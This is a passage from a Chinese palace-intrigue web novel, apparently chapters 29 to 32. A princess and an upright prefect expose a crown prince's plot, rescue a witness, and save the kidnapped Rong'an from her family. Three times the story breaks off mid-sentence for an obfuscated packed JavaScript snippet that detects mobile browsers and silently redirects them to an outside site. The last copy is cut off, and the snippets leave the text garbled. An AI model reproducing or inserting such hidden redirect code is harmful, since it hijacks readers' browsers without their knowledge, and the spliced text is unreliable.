刻,才慢慢道:“我也不过是有所求,想要讨一个人欢心罢了。” 念雨眼里的光暗淡下去,她不知道什么样的女子会被林公子这样的人所倾慕,想必一定是个极好极好的人吧。 她深深拜下去,林徵鸣看着她,正色道:“都会过去的,到了南梁,好好活着。” 京兆府的大牢,向来是王都中的各路贼寇十分惧怕的地方,并不是说京兆府肆意动用私刑,而是当今京兆尹张可张大人素来秉公执法、铁面无私,真正贯彻何谓王子犯法与庶民同罪,被他送进大牢或是送上断头台的王公贵族不在少数,也正是他为人过于刚直,因此在朝中并无亲近的同僚,遑论有人拉拢他。 夜深了,京兆尹的地牢内只点着几盏幽微的烛火,寂静吞噬了整座大牢,只能听见有犯人熟睡时的呼噜声。 两个衙役换了班,原先当值的那个打了个哈欠,困得睡眼朦胧。灯光昏暗,他只能看见眼前的人并不是原本说好要来接班的人。 “段三呢?怎么是你?” “他临时有事,告假回家了。”面前的人低声道。 衙役揉了揉酸痛的脖子,将一串钥匙交给他:“给,那今晚就辛苦你了兄弟。” 来人点点头,接过钥匙,就着灯光不动声色的看了一眼。 原先那个衙役伸了个懒腰,长长舒了口气,摇摇晃晃地走出大门。 接班那人看着他的影子一点一点消失在外面,才回过头,看向最里面那间牢房。牢房没有床榻,只在地上铺着一层草垫,上面是厚厚的稻草。里面一个人躺得横七竖八,呼声震天响,正是之前绑架荣安的那个刀疤脸绑匪。 那人握紧了手中刀,一步一步地走向牢房,烛火跃动,在地上拉出了他长长的影子。 他一点一点地走近那间牢房,里面的人睡得无知无觉。稻草拂过他的脸颊,他伸出手,挠了挠痒,口中嘟哝几句。 衙役从没见过在牢房里也能睡得这么香的人,每一个被关进京兆府地牢的人,都是忐忑不安、夜不能寐,不整日唉声叹气、痛哭流涕的都是好的,像这样无知无觉、整日吃睡自如的,还是头一个,和他一起被关进来的四个人皆是整日战战兢兢,嚷嚷着冤枉。唯独他一言不发,像是笃定会有人来救他出去。 他摇了摇头,这人恐怕不会想到,他背后的人非但不肯救他,还要在这暗无天日的牢房里,让他永远闭上嘴。 他轻手轻脚,用钥匙轻轻打开了牢门。那人依旧没有半分警觉。 衙役是第一次做这种事,手中紧张得有些冒汗。他靠近了躺在地上的人,月光照在他的脸上,映出那道纵贯全脸的刀疤,狰狞可怖。 衙役咽了咽口水,对着那人的左胸口,高高举起了刀,月光将他的影子投射在牢房潮湿阴冷的墙面上,成一副血腥恐怖的画。 他铆足了劲儿,猛地一刺—— “啊!” 30. 截获 衙役不可置信地睁大了眼睛,原本躺在地上鼾声震天的刀疤脸突然睁开眼睛,精明锐利的眼神在月光的照映下如一匹狼,冷冽而凶恶,哪里有半分昏睡的痕迹? 刀疤脸趁人不备,双手如钳,扼住衙役的手,猛地一扭,腰腹用力,使劲一拽,那刀便脱了手,他一个鲤鱼打挺,从地上翻身而起,将那衙役狠狠掼在地上。 那衙役也顾不得有没有人了,在地上打滚痛呼。 “哎呦,哎呦!” “啪啪”两声,牢房里突然一亮,墙上几盏灯骤然亮起,衙役睁眼看去,只见哗啦啦冒出一群人,正是衣冠整齐的众衙役,刚刚与他换班那个,也正站在人群中对他怒目而视,哪里还有半分困倦的样子? 人群缓缓让出一条道来,两个影子一前一后来到牢房门口,走近了,那衙役认出来,来人正是张可张大人,跟在他后面的是一个披着黑色斗篷的女子。 那人一惊,登时反应过来什么,喉头一紧,身边的刀疤脸察觉到他的动作,立时伸手,卸了他的下巴,又在他背上猛地一拍,他剧烈咳嗽一声,突出一个红色药丸,在草地上滚了滚。 他绝望地看着地上的药丸,认命地闭上了眼睛。 他身后的刀疤脸看见那药丸,目眦欲裂,眼睛通红,双手紧握成拳,手背青筋凸起,像是已经控制不了自己的情绪。 张可一见,微一摆手,立时有几个衙役上来给他带上了镣铐,他倒是没有反抗只是一直挺直的脊背颓然地弯了下来 张可一直观察着他的表情,见状捋了捋胡子,赞叹道:“果然不出殿下所料,背后之人竟真的要杀人灭口。” 宋庭玉微微一笑,淡淡道:“好在大人反应及时,这下大人应该可以问了” 众人将倒在地上的衙役押走,张可吩咐道:“现将朱四提上来吧。” 京兆府深夜秘密升堂,张可高坐明堂,背后的墙上是一种巨大的獬豸,他没有拍惊堂木,只是示意师爷记好口供,然后向底下跪着的人道:“朱四,先前本官数次提审你,你一个字都不肯说,只把所有事情都揽到自己身上。如今你也看见了,背后之人并不想保你,你再执迷不悟下去有何意义?不如趁早将事情经过说得一清二楚,也好争取宽大处理。” 朱四冷笑一声,低声道:“我便是说了,大人也未必处理得了。” 宋庭玉想了想,见他神情透出几分绝望去,问道:“指使你的人,是勋贵之人?” 朱四抬头,看了宋庭玉一眼,开口道:“我知道,你是昭平公主,怎么,公主殿下决意插手此事?” 宋庭玉道:“那本宫可要看看你都能说些什么了。” 朱四微微点点头,又看了正在记录的师爷一眼。张可沉吟片刻,让师爷将纸笔放下后出去,不准任何人进来。 师爷一愣,还是很听话地起身,将纸笔放在张可面前,行了个礼,出去了去。 见门已经关上,张可才开口道:“这下,你可以说了吧。” 朱四看了看张可,又看了看宋庭玉,哑声道:“指使我绑架荣安县主的人,是斜月楼的掌柜王得财,或者说,是明面上的老板。我真正的主人,是,是当朝太子。” 深夜,绿歌坊的掌柜王得财推开后门,探出头朝空无一人的街道上左右看了看,才小心翼翼地迈出一只脚。 这几日他夜不能眠,躺在床上脑子里老四的脸反复出现,一遍遍问他为什么要舍弃他,为什么让他无辜丧命。王得财满头大汗地从梦里醒来,背后惊出一身冷汗。和其他人不同,他和老四是一同从村里来王都谋生,同甘共苦十几年,一开始在王都暗处的赌场做事,后来被太子的人看中,在绿歌坊做了管事。这么多年,老四为太子做了不少事,虽没到杀人越货的地步,可是以身家性命、官场前途相要挟的事做了不少,算是太子在江湖的得力助手。一朝出事,却被毫不留情地踹开,想到那天太子暗地里吩咐人结果了老四,王得财一阵心寒。他左思右想,觉得自己再不逃,下场只怕会比老四更惨,于是偷偷收拾了包裹,准备今日就走,离开王都。 王都内已经宵禁,没办法乘马车,不过他已经吩咐了人在城门口等候,今晚他走到城门边上过一夜,明日一早开了城门就走。 他打算得很好,背着包裹一边回头四下张望,一边加快了脚步。夜里的王都微风阵阵,拂过人面,他只觉得夜凉如水,被这呼呼的风激起一阵鸡皮疙瘩。 他快步走着,急促的喘息声在空无一人的街道上响起,他心中惴惴不安,只顾着闷头赶路,突然听到有一阵不同于他的呼吸声,像是故意应和着他似的,一声一声在街道上响起。 他惊恐地睁大了眼睛,四下张望,却没有发现任何人。他捂住嘴巴,屏住呼吸,动了动耳朵仔细听,发现那呼吸声也消失了。 他“咕咚”一声咽了咽口水,移开手掌,重重呼吸几声,那个诡异的呼吸声如影随形,像是在逗他玩儿一样,又出现了。 他惊叫一声,头皮一紧,猛地向前奔去,急促的喘息声在午夜空寂的街道上一阵接着一阵,突然,他猛地一停,颤颤巍巍地抬起头看着眼前的影子。 一道瘦长的黑影,从他的身后蔓延到眼前,完全覆盖了他整个人,像无尽的黑暗吞噬了他。他停下脚步,闭了闭眼睛,哆哆嗦嗦地转过身子。 面前是一个蒙着面的黑衣人,身材高大,手中拎着一把手掌宽的刀,在月光下泛着丝丝寒光。 王得财心中存了几分侥幸,希望是自己做生意得罪的什么人,脸上挤出一个难看的笑,抖着声音道:“好汉饶命,有什么话我们坐下来好好说,有什么要求尽管提,金山银山我都能给你。” 黑衣人没有理会他,只握紧了刀,一个闪身向他劈来。 王得财完全僵在原地动不了,他只觉自己的腿脚已经不听使唤,连逃命的力气都没有了。 他闭上眼睛,瞬息之间,只听“叮”的一声,又一道寒光乍现,一阵劲风袭过王得财面前,他一偏头,只觉面上一凉。 再睁开眼时,只见又一个蒙面人同黑衣人缠斗起来,那蒙面人手持一柄长剑,身法利落,出剑凌厉,辗转腾挪间已接下黑衣人几十招。 王得财长舒一口气,腿一软瘫坐在地上,正欲擦掉额头的汗,忽觉脸上一痛,轻轻伸手去摸,有血流出。 黑衣人一刀劈过,斜着躲开蒙面人的剑势,被强硬的攻势逼得后退几步,抬头低声道:“阁下是谁,不要多管闲事,这个人你今晚带不走。” 蒙面人摇摇头,眼里露出一点笑意,声音有些轻佻:“我若一定要带走他呢?别说是他,你今天也得留下!” 说些,眼睛一厉,提剑刺去。 黑衣人凌空翻了几个跟头,躲过对方刺来的剑,正面提刀攻上,几个呼吸之间两人又交手几个回合。黑衣人面色凝重,只觉得对方的剑法凌厉多变,几番下来竟试探不到对方的底线。他思绪纷乱,手上就慢了一瞬,被人抓住破绽,猛地一挑,一道血口子便出现在胸前。 黑衣人后退几步,用刀支撑在地抵挡住了退势,看着对方稳稳落地,依旧是带着几分轻松笑意的眼神,面色一变,凌空跃起,又要攻来。蒙面人一挑眉,向后翻跃,躲过一击,却见对方并没有接着攻上来,而是脚步一转,已然凌空翻了几下,离他更远。 蒙面人一皱眉,迅速提剑赶上,却只能感受到对方离开时激起的一阵疾风。他懊恼地一挥剑,只觉剑尖劈开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381307|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么东西,再一抬头,那人已如鹞子一般消失在夜色里。 蒙面人低头看去,一个小小的木珠子落在地上。 “殿下,殿下。” 京兆府后院,府尹张大人平时会客的正堂内,宋庭玉正坐在椅子上闭目养神。听见张可的声音,站起来向门外看去。 张可兴冲冲地走上来,脸上带着喜色,一见宋庭玉,高兴道:“殿下神机妙算,果然有人去杀王得财了,还好殿下提前数日就在绿歌坊外设下埋伏,救了王得财一命,眼下人已经关押进京兆府的大牢了。” 宋庭玉点点头:“人没事就好。对了,那个刺杀他的人可抓住了?” 张可脸上露出一丝尴尬,挠挠头道:“都怨那贼人反应太快,竟让人跑了。”他见宋庭玉神色淡淡,不太满意的样子,忙劝慰道:“殿下府上的大人已经是武艺高强的高手了,据王得财说,那个杀手出手狠辣,就是冲着要他命去的,能从这样的人手下救下王得财,已经是很不容易了。”话里话外有为影一求情之意,生怕宋庭玉追究影一的责任。 宋庭玉摇摇头,笑了,道:“影一是我手下的护卫长,自然是武艺高强,此番能伏击成功救下本案的关键证人,也是大功一件,本宫自然重重有赏。” 张可松了一口气。他常常与宫廷中人打交道,知道很多宫中贵人苛待下人,可这几日打交道下来,发现昭平公主倒是个异类,对手下人赏罚分明、恩威并施,也有识人容人用人之能,极擅驭下之术,听说之前东宫诗会上那个拔得头筹的南梁书生如今就在公主府。张可是个惜才之人,用人不拘出身,对京中那一套以出身门第选人的风气颇为不齿,他自己就是寒门出身,自然对同为寒门出身却怀才不遇之人多有同情,如今看见宋庭玉,竟有几分英雄所见略同的感觉。 见人已经抓到,宋庭玉忙了一个晚上,颇为疲惫,向张可告辞道:“张大人,剩下的事情就交给您了,此案颇多疑点,望您秉公办案。” 说起案子,张可神情一肃,虽然此案涉及太子、承安侯府等多方势力,又闹出几条人命,但他张可官居至京兆尹,也不是个惧怕权贵之人,当下正色道:“多谢公主,臣一定将此案查得水落石出。” 宋庭玉点点头,并不多问,带着人回了府。张可办案最不喜有人借着自己的势力插手其中,见宋庭玉只是帮忙抓了关键证人,并不打问案情,当下也松了一口气,对宋庭玉为人更是佩服。 忙了一晚上,东边的天色已经有些蒙蒙亮,宋庭玉靠坐在马车里昏昏欲睡,这几日事情一件接着一件,且都与承安侯府有关,她已经无暇去想自己同曹文益那桩荒唐可笑的婚事。此刻靠在马车里,她只想闭上眼睛好好睡一觉,却不由自主地想起白天忍冬说的,越秀坊的琴伎自尽,尸身并未找到。又想起管家说林徵鸣这几日总往越秀坊跑,不禁猜测这两件事之间有没有关系。 想着想着,原本昏昏欲睡的大脑也渐渐清醒起来,她叹了口气,坐直了身子,心中装着事,怎么也睡不着,不如回去一并问清楚。这么一想,她恍然惊觉,已经有很多天没有见到林徵鸣了…… 马车稳稳行至公主府,宋庭玉在扶着忍冬的手下了车,正欲进府,一个浑身泥土、狼狈不堪的女子一下冲到她面前,宋庭玉一惊,人退后几步,忍冬将一手将她挡在身后,一手已经摸上了腰间的软剑。 “什么人?” 宋庭玉按住了忍冬拔剑的手,两人望去,那个女子头发凌乱,发间还有几根杂草,脸上一个红红的巴掌印,嘴角渗出血。 女子见到宋庭玉,脚下一软,整个人向前扑在地上,凄厉道:“殿下,求您救救我家小姐吧!” 说完,脖子一歪,人就晕了过去。 31. 荣安 “只是受了惊吓,精神紧张过度,没什么大碍。但身上应该有些外伤,劳烦忍冬姑娘帮她处理一下就行。若是急着问话,可以让她闻闻这个,就能醒过来了。” 林徵鸣从床边起身,看向宋庭玉。 宋庭玉与他对视片刻,移开视线,转头吩咐忍冬道:"她刚才在门口说什么?要救救她家小姐?" 忍冬也是暗自犹疑,细细想过后才点了点头,肯定道:"是,她是这样说的。方才在门口没看清,这会儿才认她是荣安县主身边的小丫鬟,一起来过府中的。这……难道荣安县主还活着?" 宋庭玉看着林徵鸣道:"那就先让她醒过来吧,事关重大,宜早不宜迟,问个清楚我们也踏实。" 林徵鸣点点头,从袖中拿出一个青绿色的瓷盒,打开后放在那女子鼻下晃了晃,又掐了她的人中,女子悠悠转醒,睁开眼睛。 她只恍惚了几息就意识到自己身在何处,翻个身就要起来,忍冬忙上前按着她,宽慰道:"你身上还有伤,有什么事直接说就好。" 女子眼含热泪,看向宋庭玉,着急地说:"求公主救救小姐,小姐她没有死,她要被老爷夫人送到庵里做姑子去了!" "什么?你要带走我儿?我儿犯了什么罪,还有没有王法啊!" 承安侯夫人上前,一把抓住来人的袖子,厉声道:"我儿就是犯了事,也该由大理寺或刑部来带人过问,凭什么由你们内侍省直接带人?侯爷,你说句话啊!" 承安侯坐在椅子上,面色阴沉地看着来人。领头的是个内侍省的太监,老侯爷没见过他,但看穿着品级不低,他带着一群羽林卫一大早浩浩荡荡地闯进了承安侯府,就要拿人。 侯夫人一看羽林卫带着枷和锁链,当下就急了,说什么也不让人走。 "侯爷,夫人,咱家劝你们看清楚了,如今来拿人的可是内侍省和羽林卫,这天底下有几人能用得了内侍省的人,侯爷还是要做个聪明人。" 承安侯看着太监面白无须、笑容阴狠的脸,打了个寒颤。文益可能犯了事,他心中是有几分思量的,前几日京兆府的人来问话,听说芷湖边死了一个歌女,而文益这些日子最爱往越秀坊跑,毕竟是出了人命官司,就来问问情况。老侯爷心里没当回事,不过是一个低贱的歌伎.死就死了,同他家文益有什么关系。 本以为没什么大事,可自从那个歌伎死了后,文益在家茶饭不思、心情沉郁,一问就要发牌气不耐烦,老侯爷看他为个女人一蹶不振的样子就来气。听他身边伺候的人说,文益这几日经常做噩梦,梦中喊着"不要过来,索命就去找别人"之类的话,老侯爷浑身冷汗,心中打鼓,本想趁着荣安的事情过去后将人送出王都避避风头,没想到今日就被人找上了门。看着痛哭流涕、撒泼打滚的妻子,承安侯心里却惴惴:若是别人来,他还能端端侯爷的架子,可这太监说得对,内侍省可不是一般人能使唤的地方,难道是……宫里?! 承安侯一惊,这种猜测骇得他从椅子上弹起来,也顾不得拄手杖了,拉着那内侍急忙问:"公公说的,可是……"他伸手往上指了指 那太监脸上挂着意味不明的笑:"咱家可什么都没说。不过老侯爷,令郎也太能惹是生非了些,贵府早早不拘束令郎夹着尾巴做人,这下可难保会发生什么事了。" 他这话说得不好听,却让承安侯瞬间白了脸色,大清早的,屋里还放着冰鉴,承安侯额头却沁出了冷汗。他厉声喝道:"闭嘴!那孽障惹出祸来,累及家人,愧对祖宗,你还要胡搅蛮缠!他有今天这个下场,都是你这个娘惯得!" 承安侯夫人一惊,她从没见侯爷发过这么大的火,瞬间有些怔愣,反应过来后又从地上站起身,撕扯着老侯爷的袖子,衣领,撒泼高声哭道;"侯爷这是说的什么话!我为侯府操持这么多年,生儿育女,还有错啦?老天爷啊,你还我儿子啊!" 那太监懒得看这对夫妇相互指责,挥挥手让人直接抓人。不一会儿,两个羽林卫就架着曹文益出来了,他被捆住时犹在梦中,梦里念雨姑娘泪如雨下,控诉都是因为他的强迫,才让她没脸见人断送了性命。他又是害怕又是愧疚,细细品品这情绪之中还有一种隐秘的渴望;年与姑娘梨花带雨的样子,可真美啊。他在梦中辗转反侧,叫醒他的却不是美人而是冰冷的铁链。 他疯狂挣扎,高声喊着:"娘!娘救我,我是冤枉的,娘!" 羽林卫面色冷肃,拉着他出了府门。承安候夫人还要再追,却被承安侯拼命拦下,侯夫人哪儿还有之前端持重的样子,对着承安侯又哭又叫,又打又骂 太监冷冷一笑,转身收兵回去了, 与此同时,一封秘折也送到了景元帝的案头 他刚刚得知自己精心挑选、承载了元夏未来天命之子的"肉身",竟被承安侯家的儿子生生逼死,无比恼怒。他虽然嫌弃念雨出身低贱,存了未来去母留子的意思,但那毕竟也是皇帝临幸过的女人,不论从前出身如何,以后便是谁都不能染指的。可偏偏是那个不长眼的承安侯之子,不仅觊觎他的女人,还行迹不轨逼死了人,毁了元夏天命之子冥冥中选中的"母体",实在是罪大恶极。可此事他又不好直接声张,无论从哪个方面来看都让他这个皇帝面上无光。于是憋了一肚子火,就等内侍省将人带到,好撒气一番。 他沉着脸,拿起京兆尹呈上来的秘折,低头看了几行字,面色更加严肃,看到最后,手竟微微颤抖起来,将折子往地上狠狠一摔:"混账!" 李介一惊,大殿里的人跪了一地。 安静的大殿里一时只有景元帝粗重的呼吸声。 他颤抖着手,低声道:"让太子这个混账滚进来。" 李介跪在地上,一时没有反应过来。 "滚!" 景元帝怒吼一声,随手一挥,桌上的茶具散落一地,与地面接触的瞬间崩裂开来。 宋庭玉不知道此时的景元帝正经历着怎样的烈火灼心,若是知道了,定要为太子抚掌叫好;这份白白送上门来的把柄,她宋庭玉不仅笑纳了,还物尽其用。 知道荣安并没有死,她心里的一块石头落了地,也让她的直觉又一次被准确验证,心里十分痛快。 派菘蓝带人去静宁寺救人,自己则在花园里的躺椅上一边晒着太阳,一边等着消息。突然,躺椅一停,她像是想起什么,站起身,往花园后走去。 从前她这公主府没什么人来,一为在京中伪装身份,二来她自己也忙着习文练武、在各处安插人手打探消息,就疏于公主府后宅的管理,公主府的花园向来是一片荒芜、杂草丛生的.宋庭玉也不让人动,这才能让偶然来府上一次的李介相信宋庭玉确实在京中被人忽略而今,宋庭玉虽然慢慢参与到京中各项事情中,但也忙得不可开交,自己有没那个心思,府上诸事一应交给管家打理,从没过问。而管家又是从威远军中退下来的人,自然不懂侍弄花草。 好像自从林徵鸣住到公主府之后,府上悄悄发生了变化。最明显的,就是如今这一片繁花似锦的园子。 宋庭玉边走边看,园子里的一草一木,一砖一瓦、假山石景皆有讲究,处处透着设计者的小心思。她虽不会打理这些,但自小耳濡目染,是能看懂的,这园子的设计淡雅秀质、诗意盎然,绝非凡品,至少一个出身寒门的书生,是做不出来的。 她越发觉得林徵鸣这个人总是在不经意的地方露出一些无伤大雅的马脚,像是在告诉她什么,又像是引着她自己去探索,去发现。 于是,宋庭玉决定去探索发现一番。 她穿过月亮门,来到林徵鸣住的院子。这里以前就是公主府一个没人住的后院,荒僻冷清,自从林徵鸣住进来后,宋庭玉也没来过,如今一看,却是改头换面,自成野趣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386313|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她兴致盎然地四处看了看,在廊下站定,嗅到一阵熟悉的淡香,循着花香走到廊下,看到窗台上摆着一排海棠,开得浓艳。 也知道林徵鸣是什么时候将这些海棠搬进府里的。 她伸出一根指头拨弄着海棠红艳的花瓣。 林徵鸣将正堂当做平日起居的书房,住在西侧院。宋庭玉走到正堂门口,探了探头,见屋内没人,心道:不知道又去了哪里。 她旁若无人地走了进去,东看看西望望,除了正面的墙上挂着一副从前就有的山水字画,两侧都是墙面高的书架,如今上面摆了不少书。她百无聊赖地翻了翻,又走到字画下的长桌边,桌上摊开放着一本没看完的书。宋庭玉不感兴趣地移开眼睛,余光扫到桌面上放着一个青玉盒子。 她好奇地拿起来放在掌心里,端详片刻,确认这就是林徵鸣刚才拿给荣安侍女闻的那个,心下觉得有趣,旋开盖子,见里面是晶莹透着水绿的膏体,像一泓湖水,又像是上品宝石。 她鼻尖凑上去,小心地闻了闻,一股极清凉极冲的味道涌入鼻腔,让她忍不住打了个喷嚏。 门口传来一声轻笑。 宋庭玉猛一回头,就见林徵鸣站在她身后,抱臂倚着门框,微笑着看她。见她回头,缓缓走进来,淡笑道:“这是翠玉膏,里面用了薄荷、艾草、冰片、龙脑,有提神醒脑、平心静气的功效,夏日也可解暑。” 宋庭玉有些尴尬,但面上不显,仿佛偷偷溜进人家书房的不是她。拧上盒盖,放在桌上。 林徵鸣摇摇头:“这是新做的,是给你的。近日事多繁杂,我听厨房大娘说你胃口不佳、心情烦躁,用这个可以缓解一些。” 宋庭玉挑眉看他:“怎么厨房大娘也什么都告诉你呢?我这公主府里还有什么是你没拉拢到的?” 林徵鸣笑得无奈:“不要说得那么难听嘛,什么叫拉拢,我又没做什么。” 宋庭玉轻飘飘地看了他一眼,让他自己想。 林徵鸣犹豫半晌,旧事重提:“那日在街上,我确实是看见了曹文益,鬼鬼祟祟的样子,形迹可疑,所以才跟了上去,没想到竟惹出这么多事来。” 宋庭玉将手中茶水一饮而尽,摇头道:“也不能这样说,若那日你没有跟上去,我们也不会那么快找到荣安。” 林徵鸣想:你这几日可不是这样做的,从救出荣安那日起,就对自己没有一个好脸色。 两人半晌没说话,不知过了多久,门外才传来一声轻轻的敲门声,断断续续的,有些犹豫的样子。 宋庭玉将青玉盒子收进袖笼中,挑眉看向门外。 “何事?” 门外的人像是并不意外是宋庭玉应声,仿佛还在担心自己打扰里面的人,小声道:“殿下,菘蓝回来了。” 宋庭玉点点头,向林徵鸣道:“是忍冬。应该是找到荣安了,去看看吧。” 林徵鸣起身,两人打开门。 忍冬一脸纠结地等在门外,宋庭玉奇怪地看她一眼:“怎么了?” “没没没,没有,殿下,人在正厅呢。” 宋庭玉率先往前走,边走边问:“荣安找到了?人还好吗?” 等了半晌,不见身后回应,回头怪道:“忍冬?” 忍冬一惊,忙从林徵鸣身上收回打量的目光,应道:“找到了,并没有受伤,就是看着有些憔悴。” 宋庭玉点点头,快步往前走:“上次还没养好,这次又经历这样的事,定是受了不少打击,得好好养养。” 忍冬见她并神色正常,并没有被打扰到的不悦,心下有些嘀咕。宋庭玉并不知道忍冬在想什么,见她神思不属,还关心她最近是不是累了,要不要下去歇息几日。 林徵鸣对上忍冬的目光,忍笑,不动声色地摇了摇头。 忍冬没想到他会突然看自己,有些尴尬地收回目光。 32. 新生 正厅里,荣安强忍了一路的疲惫和委屈,在见到宋庭玉的一刻终于化作一声带着哽咽的“殿下。” 宋庭玉上前扶着她的手,上下打量片刻,才叹了口气,让她坐下,问道:“究竟是怎么回事?” 荣安眼里含着泪,惨笑一声:“他们竟要送我去死。” “夫人,县主回来了。” 承安侯夫人赶忙放下手中的茶杯站起身,迎到院子门口,见荣安披着一身黑色斗篷,脸上有些失了血色的苍白,忙上前揽着她:“可算是回来了,如何?可还好?” 荣安虽同父母并不亲近,但经历这样一番险境,乍见亲人,心头百感交集,哽咽道:“母亲。” 承安侯夫人将她揽在怀里拍了拍,才轻轻叹了一口气,又上下仔细看了看她,才缓声道:“你房里已经备下了热水,先好好洗漱一番,去见见你父亲吧。” 荣安点点头,转身跟着丫鬟进去了,没有看见承安侯夫人含叹带怒,复杂的神情。 “起初,我并不知道母亲的打算。回家前几日我一直在房中休息,三餐吃食皆有人送进来,我并没有在意。过了几日,我身子好些了,想出去看看青禾幼宜她们,才发现我根本走不出院门。” “母亲,为何不让我出去?” “文英,你……”承安侯夫人叹了口气,摸了摸她的头,低声道:“文英,这些日子你就好好待在府中,切莫再生事了,啊。” 荣安不解:“何为生事?我何时生过事?” 承安侯夫人道:“你此番被劫匪带走,你父亲为了找你忧心不已,在京中贴了告示寻人,现下王都中人都知道你被掳走过,这……毕竟名声不好,你听话,近日就不要出去走动了。待风波平息些,你父亲想法子送你出京。” 荣安被这话惊得猝不及防,站起身道:“女儿行事并无不端,怎会名声不好?分明是那些匪徒在京中劫人,胆大妄为。对了,那四个匪徒已经被送去了京兆府,过了这许多日子,案子现下如何了?可有查出是谁?” “文英!”承安侯夫人低声喝止,荣安吓了一跳,愣愣看着她。 承安侯夫人叹了一口气:“你不是懵懂无知的小孩子了,你姑母如今在宫中处境艰难,家里有没有别的倚仗,好歹如今你哥哥得了陛下赐婚,能尚公主,我看那昭平公主这些日子颇得圣上宠爱,往后我们家就要靠着你哥哥的。如今你闹出这样的事情来,总归是不好看,日后若影响了你哥哥的仕途就不好了。你听话,待过些日子,你父亲会送你到老家去避避风头,你如今也大了,在京中怕是找不到好人家。你父亲已经请了族中长辈给你在老家寻一门亲事,日后平平稳稳过日子。” 荣安怔怔地看着承安侯夫人,不敢置信道:“您和父亲,要将我送走?” “我的儿,父亲母亲也是为了你好,闹过这样一遭,你虽还是县主,但到底名声坏了,京中有哪家儿郎愿意娶你呀!” 说到这里,荣安实在忍不住,抽泣道:“他们明明知道我没有……没有……甚至我已经看到哥哥就在善堂里同那些人说话了,我不是傻子,隐约也能猜到些什么。后来,他们就将我关在房中,还派了人看守,我的贴身婢女也不见了。之后有一日的夜里,家里的婆子将我捆了送上马车,连夜送出了府。我不知道他们要带我去哪,车停下时我看见是在静宁寺。” “我们一路追出城,在官道上看见了马车印子,一路追到了静宁寺,最后是在柴房中找到县主的。” 菘蓝接着道,“寺中人并未发现,只是听他们私下议论,要等丧仪过后,再将人送走。” “你们将人带回来,可有人知道?”宋庭玉问。 “不知。”菘蓝摇摇头:“我们是偷偷进去的,想来寺中人应该还未发觉县主已经丢失。” “近日留意着点。”宋庭玉吩咐。 菘蓝点头称是,便带着人出去了。 宋庭玉转头看着荣安,看她用袖子擦干眼泪,心下感叹:“这小姑娘近日哭得也太多了些。 “承安侯府已经办了你的丧仪,如今陛下也下了旨,以后王都就没有荣安县主这个人了。你安心住在公主府吧。” 宋庭玉没有说以后怎么样,她看荣安现在神情恍惚,想必也不知道以后应该怎么办,不如先这样住下来,缓一阵子再说。 她让忍冬安排荣安去休息,荣安起身行了礼,才道:“殿下以后不要再叫我荣安了,荣安县主已死,属于承安侯府的种种过往也就都过去了,以往不谏,来者可追,日后,忍冬姐姐就直接唤我的名字就好。” 忍冬看向宋庭玉,宋庭玉点点头,劝慰道:“日子还长,以后日日是好日。” 荣安不见了。 承安侯夫妇心慌意乱,这几日他们忙着疏通关系,打听曹文益的下落。自从曹文益被内侍省的人带走后杳无音讯,往日他们在宫中还有一个颖贵妃可以依靠,如今颖贵妃一朝跌落成曹宝林,他们像是忽然失去了眼睛和耳朵,内宫中的一点点的消息都打听不到了。也就是这个时候,承安侯夫妇才猛然意识到,曾经他们全家都绑在颖贵妃一个人的身上,京中的阿谀奉承、尊敬追捧并非他们在京中有多德高望重,而是全都仰赖他们家出了一个受宠的贵妃,仰赖皇帝的宠幸,没有这些,他们什么都不是 意识到这一点的承安侯脸色红了又青,他向来自持身份,将家中教养子女、应酬往来等等一应事宜都推给夫人,自己整日关在屋子里研究诗文石刻,自诩清流,没想到竟也是靠着亲妹妹才在王都立足,儿子生死不知,女儿下落不明,他竟束手无策,一时气急,也病倒了。承安侯夫人又要照顾丈夫,又要牵挂儿子,还要遮掩女儿失踪的事,左支右绌,难以招架。就在夫妇俩焦头烂额急得像热锅上的蚂蚁时,宫里传出一道旨意,彻底让承安侯府在京中败落下去: 承安后长子曹文益在王都开设赌场,勾结朝中重臣,意图谋反;又伙同匪徒绑架亲妹,罔顾人伦,秋后问斩。承安侯褫夺封号,抄没家产,逐出王都。念在曹宝林多年侍奉有功,罚奉一年,不再追究。 圣旨以下,满京哗然。 之后太子称病,景元帝命其在东宫养病,不得外出,又送了太医和许多药材到东宫,看似关怀,实则软禁。 朝中众人议论纷纷,承安侯在朝中是个无足轻重、没什么存在感的角色,他儿子更是个不着四六的纨绔.怎么会有谋反之心?有心之人打听到曹文益未经三司会审,由内侍省审完后直接上报了皇帝,从他被带走到下令问斩不过短短半月,聪明人已经猜测出其中必有隐情,恐怕是得罪了皇帝 更聪明的,从太子称病一事中,嗅出了不寻常的味道。 宋庭玉是知道事情的来龙去脉的,曹文益如何,承安侯府如何在她心中并不重要,她在意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 